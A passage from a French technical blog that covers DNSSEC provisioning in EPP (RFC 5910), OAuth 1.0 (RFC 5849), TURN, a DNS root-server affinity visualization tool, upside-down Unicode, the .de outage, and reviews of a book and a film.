Ce genre de pannes est-elle évitable ? Elle n'est pas due à une défaillance matérielle des serveurs (le DNS est très robuste face à ce genre de problèmes) mais à une bogue, qui a affecté les données. Éviter ce type de pannes nécessiterait donc d'écrire du logiciel sans bogue... J'ai lu sur un forum de neuneus l'opinion comme quoi il faudrait s'inspirer des méthodes de la NASA et faire écrire deux logiciels différents par deux équipes différentes, puis comparer les résultats avant publication. Cette approche est utilisée dans certains logiciels (par exemple le logiciel de gestion de DNSSEC, OpenDNSSEC, a un auditeur, un vérificateur de la zone signée, écrit par un auteur différent, dans un langage de programmation différent) mais elle n'est pas généralisable, pour de bêtes questions de coût. On ne peut pas à la fois vouloir des noms de domaine toujours moins cher, exiger toujours plus de nouvelles fonctions chez le registre et demander qu'on fasse de la sécurité de luxe.

Je recommande la lecture du premier rapport de DENIC, qui inclus une analyse technique. Pour ceux qui aiment les graphes, Heise online a publié un graphique montrant la chute de trafic due à la panne. Par contre, je n'ai pas trouvé pour l'instant d'article intéressant en français ou en anglais sur cette affaire et certains sont même pleins d'erreurs (comme http://cert.lexsi.com/weblog/index.php/2010/05/12/385-panne-internet-geante-en-allemagne-et-en-autriche qui ajoutait .at à la panne - ce que personne n'a vu mais ils ont corrigé depuis - ou comme http://www.tld.sc/en/2010/05/what-went-wrong-at-the-de-registry-earlier-today/ qui prétendait - cela a été corrigé depuis - que tous les noms avaient disparus - signe qu'il n'ont pas testé avant d'écrire -, qui invente des soi-disant pannes de .biz et .nu - que personne ne semble avoir remarqué - et qui prétendait à tort que DENIC n'utilise que BIND alors que la moitié de leurs serveurs sont des nsd). Dans la langue de Karl Liebknecht, vous pouvez consulter « DNS-Fehler legen Domain .de lahm », sur l'excellent Heise online.


L'article seul

RFC 5910: Domain Name System (DNS) Security Extensions Mapping for the Extensible Provisioning Protocol (EPP)

Date de publication du RFC : Mai 2010
Auteur(s) du RFC : J. Gould (Verisign), S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 12 mai 2010


Le protocole EPP d'avitaillement d'un registre (par exemple un registre de noms de domaine), normalisé dans le RFC 5730, manipule des objets qui sont des instances d'une classe (nommée mapping). Par exemple, il existe une classe (un mapping) pour les noms de domaine, décrite dans le RFC 5731. Notre RFC 5910 décrit, lui, une extension EPP à ce mapping permettant de spécifier les données nécessaires à DNSSEC, notamment la clé publique d'une zone signée. Il remplace le RFC 4310 et les changements sont assez sérieux.

DNSSEC, normalisé dans le RFC 4033, utilise la même délégation que le DNS. La zone parente d'une zone signée délègue en indiquant la clé publique de sa zone fille. Plus exactement, la zone parente publie un condensat cryptographique de la clé publique de la zone fille, l'enregistrement DS (pour Delegation Signer), normalisé dans la section 5 du RFC 4034 (voir aussi le rappel en section 3.1 de notre RFC 5910).

Lorsqu'un bureau d'enregistrement crée un nom de domaine signé, ou bien informe le registre qu'un domaine est désormais signé, comment indique t-il ce DS ? Il y a plusieurs façons, et notre RFC propose d'utiliser EPP.

L'extension nécessaire est résumée en section 3. Elle fonctionne en ajoutant des éléments à la classe Domaine du RFC 5731. La clé peut être transmise directement, ou bien on peut envoyer le condensat cryptographique de la clé (le RFC 6781 explique pourquoi le condensat, le futur DS, devrait être obligatoire alors que la clé serait facultative, mais notre RFC ne le suis pas complètement, contrairement à son prédécesseur). Les deux méthodes, selon qu'on transmet le condensat ou la clé, sont détaillées dans la section 4. Voici un exemple d'une clé transmise sous forme d'un condensat :


   <secDNS:dsData>
     <secDNS:keyTag>12345</secDNS:keyTag>
     <secDNS:alg>3</secDNS:alg>
     <secDNS:digestType>1</secDNS:digestType>
     <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest>
   </secDNS:dsData>

Le RFC prévoit également que le registre de la zone parente peut également récupérer la clé dans le DNS (enregistrement DNSKEY) pour tester si le condensat reçu est correct (et il est donc recommandé que ladite DNSKEY soit publiée avant de prévenir le parent par EPP). La clé transmise au registre doit être une clé de confiance, c'est-à-dire avoir le bit SEP à 1 (cf. RFC 3757). En terminologie moderne, cette clé doit être une KSK (Key Signing Key).

Les commandes EPP pour gérer cette information font l'objet de la section 5. Ainsi, les réponses à <info> doivent désormais contenir un élément <secDNS:infData>, qui contient lui-même des éléments comme <secDNS:dsData> qui a son tour contient les champs qu'on trouve dans un enregistrement DS comme <secDNS:keyTag> (un pseudo-identificateur de la clé), <secDNS:alg> (l'algorithme utilisé), etc. L'espace de noms urn:ietf:params:xml:ns:secDNS-1.1 (ici avec le préfixe secDNS) est enregistré dans le registre IANA (voir section 8). (Le nom utilisé dans le RFC 4310 était secDNS-1.0.) Voici un exemple de réponse à <info> sur le domaine example.com :


<resData>
...
<domain:name>example.com</domain:name>
...
<extension>
  <secDNS:infData
   xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1">
    <secDNS:dsData>
      <secDNS:keyTag>12345</secDNS:keyTag>
      <secDNS:alg>3</secDNS:alg>
      <secDNS:digestType>1</secDNS:digestType>
      <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest>
    </secDNS:dsData>
  </secDNS:infData>
</extension>

Le condensat est de type SHA1 (<digestType>1</digestType>), la clé elle-même étant DSA/SHA1 (<alg>3</alg>).

L'extension DNSSEC permet évidemment de créer un domaine signé, avec <create> (section 3.2.1) :


<domain:create>
  <domain:name>example.com</domain:name>
  ...
  <extension>
  <secDNS:create xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1">
  <secDNS:dsData>
    <secDNS:keyTag>12345</secDNS:keyTag>
    <secDNS:alg>3</secDNS:alg>
    <secDNS:digestType>1</secDNS:digestType>
    <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest>
    <!-- <secDNS:keyData>, la clé elle-même, est *facultatif* -->
  </secDNS:dsData>
</secDNS:create>
 ...

Une fois le domaine ainsi créé, le registre publiera typiquement un enregistrement DS comme :

example.com.  IN DS 12345 3 1 49FD46E6C4B45C55D4AC

Bien sûr, on peut aussi ajouter DNSSEC à un domaine existant, ou bien changer une clé existante. Cela se fait avec <update> :


    <domain:update>
        <domain:name>example.com</domain:name>
    ...
    <extension>
      <secDNS:update
       xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1">
        <secDNS:add>
          <secDNS:dsData>
            <secDNS:keyTag>12346</secDNS:keyTag>
            <secDNS:alg>3</secDNS:alg>
            <secDNS:digestType>1</secDNS:digestType>
            <secDNS:digest>38EC35D5B3A34B44C39B</secDNS:digest>
            <!-- <secDNS:keyData>, la clé elle-même, est *facultatif* -->
          </secDNS:dsData>
        </secDNS:add>
      </secDNS:update>
     ...

Et, en utilisant <secDNS:rem> au lieu de <secDNS:add>, on peut retirer une délégation sécurisée (« dé-signer » le domaine).

Comme la grande majorité des extensions et mappings d'EPP, celle-ci est spécifiée en utilisant la syntaxe formelle des W3C schemas, ici en section 4.

Le premier RFC sur cette extension EPP était le RFC 4310. Les sections 2 et 4 sont entièrement nouvelles. La première décrit les mécanismes de migration pour ceux qui avaient déjà déployé le précedent RFC. La section 4 décrit la nouvelle interface pour les clés. Le nouveau RFC était nécessaire en raison d'une bogue dans le précédent : lors de la suppression d'une délégation signée, le RFC 4310 disait (dans sa section 3.2.5) que la délégation pouvait être indiquée par le key tag (section 5.1.1 du RFC 4034) or celui-ci, un simple condensat cryptographique de la clé, n'est pas forcément unique, vue sa faible taille. La section 5.2.5 contient le nouveau texte. Parmi les autres changements, l'introduction du concept de data interface (section 4), qui unifie la façon de passer les clés (ou leurs condensats) du client EPP au serveur. Il y a enfin quelques changements moins cruciaux, décrits dans l'annexe A.

À noter que la mise en œuvre EPP du registre brésilien inclus désormais notre RFC 5910 : http://registro.br/epp/download-EN.html.


Téléchargez le RFC 5910


L'article seul

L'envers d'ǝpoɔıu∩

Première rédaction de cet article le 5 mai 2010


L'arrivée cet après-midi des premiers « vrais » TLD IDN dans la racine est l'occasion de s'instruire en s'amusant en regardant ce qu'on peut faire de curieux avec Unicode, par exemple, mettre du texte à l'sɹǝʌuǝ.

D'accord, aujourd'hui, c'étaient les trois nouveaux TLD, السعودية. (Arabie saoudite), امارات. (Émirats arabes unis), et مصر. (Égypte) qui étaient en vedette (cf. l'annonce de l'ICANN). Mais cela n'interdit pas de continuer à regarder les autres possibilités du très riche jeu de caractères Unicode, qui contient assez de caractères pour faire des jeux distrayants comme celui proposé par le Unicode Upside-Down Converter. Vous tapez n'importe quel texte, par exemple « J'aime le chocolat avec les fraises » et vous obtenez la version à l'envers, ici « sǝsıɐɹɟ sǝʃ ɔǝʌɐ ʇɐʃoɔoɥɔ ǝʃ ǝɯıɐ,ſ ».

Une fois qu'on a cet « inverseur » de texte, on peut s'amuser à rêver à des noms de domaine IDN plus rigolos par exemple ƃɹo˙ɹǝʎǝɯzʇɹoq˙ʍʍʍ. Le texte étant à l'envers, en enregistrant .ʍʍʍ (qui est de l'IDN légal, cf. RFC 3490), on pourrait créer plein de noms étonnants.

Au fait, comment fonctionne cet inverseur de texte ? En mettant les caractères Unicode dans l'excellent service Uniview, on voit qu'il y a en fait une combinaison de trucs. Même si Unicode est vaste, il n'y a pas forcément une version inversée de chaque caractère. L'inverseur cherche donc à chaque fois un caractère qui, dans la plupart des polices, produit à peu près le même effet. Pour Unicode inversé (« ǝpoɔıu∩ »), cela donne :

  • U+01DD ǝ LATIN SMALL LETTER TURNED E
  • U+0070 p LATIN SMALL LETTER P
  • U+006F o LATIN SMALL LETTER O
  • U+0254 ɔ LATIN SMALL LETTER OPEN O
  • U+0131 ı LATIN SMALL LETTER DOTLESS I
  • U+0075 u LATIN SMALL LETTER U
  • U+2229 ∩ INTERSECTION

On voit que 'o' est son propre inverse, que 'u' fait un bon 'n' inversé, que l'inverse de 'e' existe déjà dans Unicode et que pour 'i' ou 'c', il a fallu recourir à des approximations. Il y a même un caractère mathématique pour faire l'inverse de 'U'.

Merci à Roy Arends pour avoir attiré mon attention sur cette possibilité et à Robert Martin-Legene et Marco Davids pour leur aide afin de comprendre comment cela marche. Merci à Richard Ishida pour Uniview et aussi pour un autre de ses excellents outils, le convertisseur Unicode.


L'article seul

Fiche de lecture : Communicating Sequential Processes

Auteur(s) du livre : C. A. R. Hoare
Éditeur : Prentice-Hall
0-13-153271-5
Publié en 1985
Première rédaction de cet article le 5 mai 2010


Pendant toutes les années 1970, un bouillonnement de recherche sur la programmation parallèle a apporté dans la boîte à outils du programmeur tout un tas de concepts nouveaux, qui ont permis d'écrire des programmes non-séquentiels, sinon facilement, du moins sans se prendre les pieds dans le tapis à chaque fois. Le célèbre livre de Hoare est un reflet de cette époque, dont son auteur a été un des grands contributeurs, avec sa théorie des processus séquentiels communiquants.

Toute une génération de programmeurs a appris la programmation parallèle dans ce livre et se souvient des exemples avec une machine à café, comme le client fou (chapitre 2.2) qui insère au hasard une pièce de un ou de deux pence et se bloque si la machine ne se contente pas d'une seule pièce, si c'est celle de un penny. Ou de la machine à café bruyante (chapitre 2.3) qui sert à illustrer l'indépendance d'événements non synchronisés (entre le « cling » de la machine et le juron du client qui n'a pas eu ce qu'il voulait).

Le livre est solidement mathématique. Il commence doucement, et même lentement, mais est vraiment difficile à suivre vers la fin. À noter que la communication explicite entre processus ne commence qu'au chapitre 4, ce qui donne une idée du souci de l'auteur d'établir des bases théoriques sérieuses avant de commencer à rentrer dans les détails.

L'auteur n'oublie pas pour autant la mise en œuvre et fournit des pistes pour programmer ses processus séquentiels communiquants, dans un dialecte de Lisp. Attention, le langage utilisé utilise les concepts de Lisp mais Hoare lui a donné une syntaxe différente, ressemblant à Pascal, et sans les célèbres parenthèses. Il ne faut pas compter écrire directement un programme avec ces exemples, il faut d'abord trouver un langage exécutable !

Bien des langages ont d'ailleurs repris les concepts de ce livre, le plus connu était à l'époque Occam, qui était censé permettre la programmation facile d'une puce révolutionnaire, le Transputer, et qui n'a pas été un grand succès. Ada a ensuite beaucoup suivi ces idées. Le dernier langage qui les ai reprises explicitement est Go, dont le mécanisme de communication a repris le terme hoarien de channel.

La variété des solutions au problème de la programmation paralléle ne s'est d'ailleurs pas arrêté là et le chapitre 7 discute des solutions alternatives, que ce soit pour la structuration des programmes comme les coroutines ou les moniteurs, ou pour la communication comme les tubes.


L'article seul

Mammuth, un film sur les gens normaux, qui sont gros, non diplômés et vieux

Première rédaction de cet article le 3 mai 2010


Si vous en avez assez que le cinéma ne présente que des gens jeunes, beaux, diplômés et qui font des boulots intéressants, peut-être serez-vous intéressés par le film « Mammuth ». En effet, ces films sont largement mensongers : il n'y a pas que des gens brillants. Il existe aussi des gens pauvres (dans le film, ils sont pauvres intellectuellement et socialement ; matériellement, ça va encore).

Et c'est à eux qu'est consacré l'excellent « Mammuth » de Benoît Delépine et Gustave Kervern. Car ils existent, ces gens qui font honte à la mondialisation heureuse, à la concurrence libre et non faussée, aux NTIC. Ils se déplacent en Münch Mammuth et pas en avion, ils sont gros, ils ne savent pas trop quoi faire de leur vie quand ils sont à la retraite et en prime, le héros du film reste fidèle à ses années 70, à sa moto et à sa coiffure. Et ils ont en plus le culot de vouloir vivre et aimer.

Parti à la recherche des papiers des entreprises pour lesquelles il a travaillé, alors qu'il part en retraite, le héros va traverser la France d'en bas, qui a vécu de petits boulots, dont les entreprises ont fermé au profit de prétentieuses « agences de storyboard 3D », la France qui n'a pas de diplôme. Comme le dit un patron au héros, « je ne t'ai pas déclaré et je t'ai payé des clopinettes parce que ça marchait, tu étais trop con pour réagir ».

Comme dans tous les road movies, le héros ne trouvera pas ce qu'il cherche mais trouvera, sinon l'amour et la richesse, du moins de quoi vivre.


L'article seul

Analyser graphiquement l'affinité d'un client DNS pour un serveur

Première rédaction de cet article le 3 mai 2010


À la réunion OARC de Prague le premier mai, la vidéo spectaculaire (sans laquelle les réunions sont tristes) était due à Duane Wessels (Verisign) qui a cherché à représenter graphiquement l'affinité des clients DNS pour les serveurs de la racine. L'idée est de mettre les serveurs dans un espace 3D. Le client qui envoie des requêtes à tous les serveurs équitablement est placé au centre de l'espace. Plus il a d'affinité pour un serveur (plus il lui envoie de requêtes), plus il se déplace en direction de ce serveur.

Un résolveur DNS normal (par exemple BIND), choisit le serveur le plus rapide de la liste disponible. Ainsi, la racine ayant treize serveurs, BIND les interroge tous, puis se souvient du plus rapide, et lui reste fidèle. Par contre, lorsqu'il faut choisir entre les différentes instances d'un nuage anycast, le résolveur ne voit pas les différentes instances et c'est BGP qui fait tout.

La présentation ne consistait pas seulement en images fixes, l'animation permet de voir le déplacement des clients, par exemple lorsqu'une instance d'un nuage anycast stoppe, les clients se déplacent vers les autres (en moins de deux minutes, merci, BGP).

Le code et les données sont disponibles publiquement, en http://www.verisignlabs.com/~wessels/Affinity/. Mais attention, ce n'est pas forcément facile à interpréter. Pour vous donner une idée, vous pouvez commencer par voir les transparents puis par regarder deux films tournés pendant la présentation, en http://www.youtube.com/watch?v=pIIFmYvx8Dc et http://www.youtube.com/watch?v=Gsr0HYOLk2w. Ensuite, si vous êtes alléchés, vous pouvez vous lancer dans la compilation et l'exécution.

Le tout a été développé en OpenGL (et c'est très convaincant, comme exemple qui donne envie d'utiliser ce système) avec les traces DNS des requêtes aux serveurs racine. D'abord, pour compiler, en prenant l'exemple d'un système Debian, il vous faudra les bibliothèques OpenGL (libglu1-mesa-dev). Ensuite, vous éditez le Makefile (par défaut, les variables sont pour MacOS, j'ai donc dû les commenter suivant les commentaires) et vous tapez make.

Une fois que cela compile, la syntaxe générale pour l'utilisation est :

affinity geom.dat frame.dat < dnsquery.dat

Mais, en pratique, il vaut mieux suivre les suggestions de l'auteur et donner quelques valeurs différentes aux paramètres. La démonstration à l'OARC a été faite avec :

affinity -c 0.6 -d 1.5 -i 0.1 -r 10 ...

Voyons quelques exemples. D'abord, avec l'ensemble des serveurs racines. Les données sont dans le répertoire data/Roots-20100323. Prenons le fichier roots-dodec.dat comme cadre (comme il y a plus de huit serveurs racine, roots-cube.dat ne donne pas de bons résultats) et 20100324.125000.dat.bz2 comme données. Une fois le téléchargement fait, lançons le tout (on décomprime à la volée car les fichiers sont gros et on n'a pas forcément envie de les stocker) :

% bunzip2 -c 20100324.125000.dat.bz2 | \
      ./affinity -c 0.6 -d 1.5 -i 0.1 -r 10 -w roots-dodec.dat

On voit alors une jolie image. Presser 's' la met en route et un deuxième 's' lui donne sa vitesse de croisière. On peut alors faire tourner le dodécaèdre et admirer la fidélité des clients de I.root-servers.net (alors que G.root-servers.net n'attire pas grand'monde).

Essayons ensuite avec les instances d'un nuage anycast. Les données sont en /data/A-20100209. Prenons le fichier de placementdes serveurs a-geo.dat et le fichier de données 20100210.180000.dat.bz2.

bunzip2 -c 20100210.180000.dat.bz2 | \
   ./affinity -c 0.6 -d 1.5 -i 0.1 -r 10 -w a-geo.dat world_borders.dat

affichera alors l'affinité des clients des instances de A.root-servers.net. À mon avis, c'est en se plaçant au dessus du Pôle Nord qu'on a la meilleure vue. On voit par exemple les clients du nœud de Francfort qui sont tentés de temps à temps par celui de New York. Après, il faut passer du temps et explorer.

A.root-servers.net n'a pas beaucoup d'instances. On peut essayer avec J.root-servers.net, dans le répertoire /data/J-20100323 mais il a plutôt le problème inverse et l'animation est donc assez confuse.

En gros, la conclusion de ces images est que les clients DNS sont très fidèles à une instance particulière d'un nuage anycast (BGP est finalement plutôt stable et, dans ce cas, le client ne contrôle pas quelle instance il utilise) alors que les clients sont plus volages en ce qui concerne le serveur racine utilisé (attention, la visualisation a des pièges, le centre étant plus petit, il donne l'impression d'une forte densité et que les clients y sont plus nombreux, sans doute faudrait-il une échelle logarithmique pour compenser cet effet).

Merci à Marco Davids pour l'aide.

Sur certains systèmes, il faut apparemment appliquer le patch suivant :


266,267c266,267
<         gluPerspective(50.0, (float) width / height, 1, 1024);
<         gluLookAt(0, 0, 4, 0, 0, 0, 0.0, 1.0, 0.0);
---
>         //gluPerspective(50.0, (float) width / height, 1, 1024);
>         //gluLookAt(0, 0, 4, 0, 0, 0, 0.0, 1.0, 0.0);


L'article seul

RFC 5849: The OAuth 1.0 Protocol

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : E. Hammer-Lahav
Pour information
Première rédaction de cet article le 3 mai 2010


Le protocole OAuth, déjà fréquemment déployé, voit son développement officiellement passer du côté de l'IETF, avec ce RFC 5849 qui reprend la description de la version 1 du protocole, pendant que le groupe de travail Oauth travaille à la version 2 (dont le premier document publié a été le RFC 6749, en octobre 2012).

OAuth, parent de OpenID, est un protocole d'authentification d'un tiers, le client, qui veut accéder à une ressource, par exemple un fichier, située sur un serveur et dont le contrôle revient à un propriétaire. (OpenID vise à authentifier un utilisateur humain, OAuth à authentifier la requête d'un programme, agissant pour le compte d'un humain.) Prenons un exemple (vous en trouverez d'autres dans le RFC, comme l'exemple classique de l'impression de photos, mais celui que j'indique a l'avantage d'être un exemple réel) : le service de microblogging Twitter permet à des utilisateurs (les propriétaires, dans la terminologie OAuth) de faire connaître au monde entier leurs pensées profondes en moins de 140 caractères. Le succès de ce service et l'existence d'une bonne (car très simple) API a poussé à l'arrivée de nombreux services tiers qui ont tous en commun de devoir accéder au compte Twitter de l'utilisateur (par exemple, Auto FollowFriday, Twibbon ou TwitterCounter - à noter que le premier des trois n'est pas encore passé à Oauth). Une façon possible, pour ces services, d'accéder au compte Twitter de l'utilisateur est de lui demander son nom et son mot de passe. On voit les conséquences que cela peut avoir pour la sécurité... OAuth fournit une meilleure solution : le serveur, en recevant la requête du client, demande au propriétaire l'autorisation : twitter-oauth.png

Tout se fait par redirections HTTP (RFC 2616, section 10.3). Bien sûr, pour que cela soit sûr, il y a de nombreux détails à prendre en compte, ce qui explique les quarante pages du RFC.

OAuth existe depuis plusieurs années et était géré par un groupe informel (voir la section 1 du RFC pour un historique). Il est désormais documenté dans ce RFC 5849 (la version documentée n'a pas subi de changement significatif à l'IETF, c'est surtout une officialisation, avec quelques corrections de bogues, l'annexe A détaille ces changements ; le plus gênant est la refonte complète de la terminologie) et les nouvelles versions sont maintenant développées à l'IETF.

Une fois que Twitter a adopté ce protocole et documenté son usage, la plupart des services tiers l'ont intégré (par exemple Twibbon).

Lisons maintenant le RFC. Premièrement, le vocabulaire (section 1.1). Ce qui se jouait autrefois à deux (le client et le serveur) est désormais fréquemment une partie à trois (OAuth Love Triangle, dit Leah Culver), le client (client, Twibbon dans le cas plus haut), le serveur (server, Twitter dans le cas plus haut) et le propriétaire (resource owner, moi). Notez que la terminologie OAuth a changé avec ce RFC (par exemple, le propriétaire était nommé « utilisateur » - user).

Pour voir le cheminement complet d'une authentification OAuth, on peut regarder la jolie image de Yahoo (mais attention, elle utilise l'ancienne terminologie) ou bien suivre l'exemple de la section 1.2 du RFC. Si le client, le service d'impression printer.example.com veut accéder aux photos stockées sur le serveur photos.example.net, et dont le propriétaire est Jane :

  • Le client et le serveur doivent déjà avoir un accord entre eux, préalable, avec un secret partagé pour s'authentifier. OAuth ne permet pas à un nouveau client inconnu d'en bénéficier.
  • Le client doit avoir lu la documentation du serveur, qui indique entre autre les URL à contacter.
  • Lorsque Jane visite le site du client, ici l'imprimeur, et demande l'impression de ses photos, le client contacte le serveur en HTTP pour demander un token, une suite de nombres aléatoires qui identifie de manière unique cette requête (on peut voir ce token dans la copie d'écran ci-dessus, c'est le paramètre oauth_token).
  • Le client doit alors utiliser les redirections HTTP pour envoyer Jane sur le site du serveur, afin qu'elle donne l'autorisation nécessaire. Les paramètres de la redirection indiquent évidemment le token.
  • Si Jane donne son accord (cela peut être un accord implicite, voir par exemple comment fait Twitter), le serveur signe la demande et renvoie le navigateur de celle-ci vers le client avec, dans les paramètres, une demande approuvée et signée (paramètre oauth_signature).
  • Le client peut alors demander au serveur des autorisations pour les photos, puis demander les photos elle-mêmes.

La requête initiale du client auprès du serveur pourra ressembler à :

POST /initiate HTTP/1.1
Host: photos.example.net
Authorization: OAuth realm="Photos",
        oauth_consumer_key="dpf43f3p2l4k3l03",
        oauth_signature_method="HMAC-SHA1",
        oauth_timestamp="137131200",
        oauth_nonce="wIjqoS",
        oauth_callback="http%3A%2F%2Fprinter.example.com%2Fready",
        oauth_signature="74KNZJeDHnMBp0EMJ9ZHt%2FXKycU%3D"

Si le serveur renvoie le token hh5s93j4hdidpola, la redirection de Jane vers le serveur pourra se faire via un URL comme :

     https://photos.example.net/authorize?oauth_token=hh5s93j4hdidpola

et, une fois l'authentification de Jane auprès du serveur et son autorisation de la requête effectuées, le client pourra demander son autorisation pour le token hh5s93j4hdidpola :

POST /token HTTP/1.1
Host: photos.example.net
Authorization: OAuth realm="Photos",
        oauth_consumer_key="dpf43f3p2l4k3l03",
        oauth_token="hh5s93j4hdidpola",
        oauth_signature_method="HMAC-SHA1",
        oauth_timestamp="137131201",
        oauth_nonce="walatlh",
        oauth_verifier="hfdp7dh39dks9884",
        oauth_signature="gKgrFCywp7rO0OXSjdot%2FIHF7IU%3D"

Et enfin, après encore un nouveau token, le client pourra demander la photo :

GET /photos?file=vacation.jpg&size=original HTTP/1.1
Host: photos.example.net
Authorization: OAuth realm="Photos",
        oauth_consumer_key="dpf43f3p2l4k3l03",
        oauth_token="nnch734d00sl2jdk",
        oauth_signature_method="HMAC-SHA1",
        oauth_timestamp="137131202",
        oauth_nonce="chapoH",
        oauth_signature="MdpQcU8iPSUjWoN%2FUDMsK2sui9I%3D"

Voici pour le principe. Le reste du RFC est consacré aux détails. D'abord, comment obtenir son token ? Comme indiqué dans l'exemple, la méthode la plus courante est la redirection HTTP, normalisée en détail dans la section 2. Elle nécessite trois URL à connaître par le client. Par exemple, ceux de Twitter (apparemment documentés uniquement dans le source) sont :

  • Demande d'un token initial (section 2.1 du RFC) : https://twitter.com/oauth/request_token (le terme de request token fait référence à l'ancienne terminologie, dans le RFC, vous trouverez le même concept sous le nom de temporary credentials, cd. section 1.1),
  • Renvoi du propriétaire vers la page d'autorisation (section 2.2) : http://twitter.com/oauth/authorize,
  • Accès à la ressource convoitée via un autre token (section 2.3) : https://twitter.com/oauth/access_token.

Comment authentifier toutes ces requêtes ? C'est le but de la section 3. À noter qu'il existe plusieurs méthodes, dépendant du serveur. Le paramètre oauth_signature_method indique celle choisie, cela peut utiliser de la cryptographie asymétrique - cf. RFC 3447 -, un condensat incluant un secret partagé - cf. RFC 2104 -, voire même du texte brut, qui doit alors évidemment être emballé dans https. Les sections 3.4 à 3.6 détaillent la canonicalisation à pratiquer et autres formalités.

Le but de Oauth étant la sécurité, il n'est pas étonnant que la section résumant les questions de sécurité (section 4) soit longue. Parmi les points passés en revue :

  • Le fait qu'un protocole, si parfait qu'il soit, ne protège pas contre les erreurs dues à de mauvaises procédures. Par exemple, si le serveur ne vérifie pas l'authenticité des propriétaires avant qu'ils donnent leur autorisation... (Cf. RFC 7235.)
  • Si on utilise la signature RSA, le secret partagé n'est pas utilisé et la sécurité dépend donc du secret de la clé privée RSA (section 4.1). Par contre, si on utilise les secrets partagés, ils doivent être stockés en clair chez le client et le serveur. Si on ne prend pas de précautions suffisantes, un craqueur peut donc les lire et se faire alors passer pour l'une des deux parties (section 4.5).
  • En lui-même, OAuth ne garantit que l'authentification, pas la confidentialité. Si les requêtes ne passent pas en https, elles sont visibles à tout espion (section 4.2).
  • L'existence sur le trajet d'un relais/cache HTTP peut compliquer les choses. Par exemple, si la requête à la ressource est faite sans le champ HTTP Authorization: (ce qui est permis : section 3.5.1), le relais ne peut pas savoir que la ressource est protégée et risque donc de la distribuer après à d'autres clients. Il faut donc, dans ce cas, utiliser Cache-control: pour l'en empêcher (section 4.4).
  • Le client s'authentifie (paramètre oauth_consumer_key et signature de la requête initiale), certes, mais le client peut être du logiciel distribué avec son code source et, de toute façon, un attaquant déterminé peut trouver les paramètres du client même sans le code source, puisqu'il tourne sur une machine que l'attaquant contrôle. Le serveur ne doit donc pas faire une confiance aveugle que le client est bien celui qu'il prétend être (section 4.6).
  • Comme tout système reposant sur la redirection HTTP (le cas a été largement discuté pour OpenID), OAuth peut être sensible au hameçonnage. En effet, un méchant client peut rediriger le navigateur vers un faux serveur. Le propriétaire va alors s'authentifier auprès de ce qu'il croit être le serveur et peut-être donner alors des secrets réutilisables (par exemple un mot de passe). Le propriétaire humain doit donc faire attention à ce qu'il est bien sur le serveur attendu (section 4.7).
  • OAuth, dans la phase d'autorisation par le propriétaire, est également vulnérable au clickjacking (section 4.14).

Un guide complet sur OAuth est disponible en http://hueniverse.com/oauth/guide/. Une autre bonne introduction est « Gentle introduction to OAuth ». Parmi les applications amusantes d'OAuth, un curl OAuthisé en http://groups.google.com/group/twitter-api-announce/browse_thread/thread/788a1991c99b66df. Un exemple de programmation OAuth pour accéder à Twitter en Python figure dans mon article. Fin 2012, la version 2 de OAuth est en cours de finalisation à l'IETF, mais de grosses incertitudes demeurent. Le premier RFC de la nouvelle version est le RFC 6749.


Téléchargez le RFC 5849


L'article seul

Google Scholar sélectionne t-il bien ses sources ?

Première rédaction de cet article le 30 avril 2010


Normalement, le service Google Scholar permet d'effectuer des recherches uniquement dans des travaux universitaires « sérieux », publiés dans des revues ayant pignon sur rue, etc. Le but est d'éviter qu'une recherche n'amène sur le blog personnel d'un zozo qui raconte n'importe quoi. Mais la requête très banale « sql », en ce moment, atterrit sur mon blog !

Depuis quelques semaines, à en juger par l'examen du journal de http://www.bortzmeyer.org, plein de visiteurs viennent de Google Scholar (pas seulement de sa version francophone). Et, en effet, taper simplement « sql » dans ce service, avec demande en anglais, mène en sql-standard.html, page d'un blog personnel, qui n'a rien de « scientifique » (vérifiez vous-même avec http://scholar.google.fr/scholar?q=sql&hl=fr&btnG=Rechercher&lr=).

Google a sans doute été trompé par le fait que cet article parle d'un livre universitaire sérieux. Mais cela veut dire que la sélection des sources de Google Scholar se fait par une heuristique, apparemment pas très fiable, et pas manuellement comme c'était apparemment le cas avant. La description que fait Google Scholar de lui-même, « Ces travaux peuvent provenir de sources telles que des éditeurs scientifiques, des sociétés savantes, des référentiels de prépublication, des universités et d'autres organisations de recherche. » est donc très trompeuse.

Bref, comme avant, il ne faut pas se fier aveuglément au résultat d'un moteur de recherche et toujours garder son cerveau allumé.


L'article seul

RFC 5766: Traversal Using Relays around NAT (TURN): Relay Extensions to SessionTraversal Utilities for NAT (STUN)

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : J. Rosenberg (jdrosen.net), R. Mahy, P. Matthews (Alcatel-Lucent)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 30 avril 2010


Le protocole TURN, que décrit notre RFC, est le dernier recours des applications coincées derrière un routeur NAT et qui souhaitent communiquer avec une application dans la même situation (cf. RFC 5128). Avec TURN, le serveur STUN ne se contente pas d'informer sur l'existence du NAT et ses caractéristiques, il relaie chaque paquet de données. (Depuis la parution de ce RFC, une nouvelle norme TURN est sortie, dans le RFC 8656.)

Être situé derrière un routeur NAT n'est jamais une situation enviable. De nombreuses applications fonctionnent mal ou pas du tout dans ce contexte. Le groupe de travail IETF behave a pour mission de spécifier des mécanismes permettant de faire fonctionner le plus d'applications possibles à travers un NAT. Le socle de tous ces mécanismes est STUN (RFC 5389), où le client STUN (notre machine bloquée par le NAT) communique avec un serveur STUN situé dans le monde libre pour apprendre sa propre adresse IP externe. Outre cette tâche de base, des extensions à STUN permettent d'aider davantage le client, c'est par exemple le cas de TURN que normalise notre RFC.

L'idée de base est que deux machines Héloïse et Abélard, chacune peut-être située derrière un NAT, vont utiliser STUN pour découvrir s'il y a un NAT entre elles (sinon, la communication peut se faire normalement) et, s'il y a un NAT, s'il se comporte « bien » (tel que défini dans les RFC 4787 et RFC 5382). Dans ce dernier cas, STUN seul peut suffire, en informant les machines de leur adresse extérieure et en ouvrant, par effet de bord, un petit trou dans le routeur pour permettre aux paquets entrants de passer.

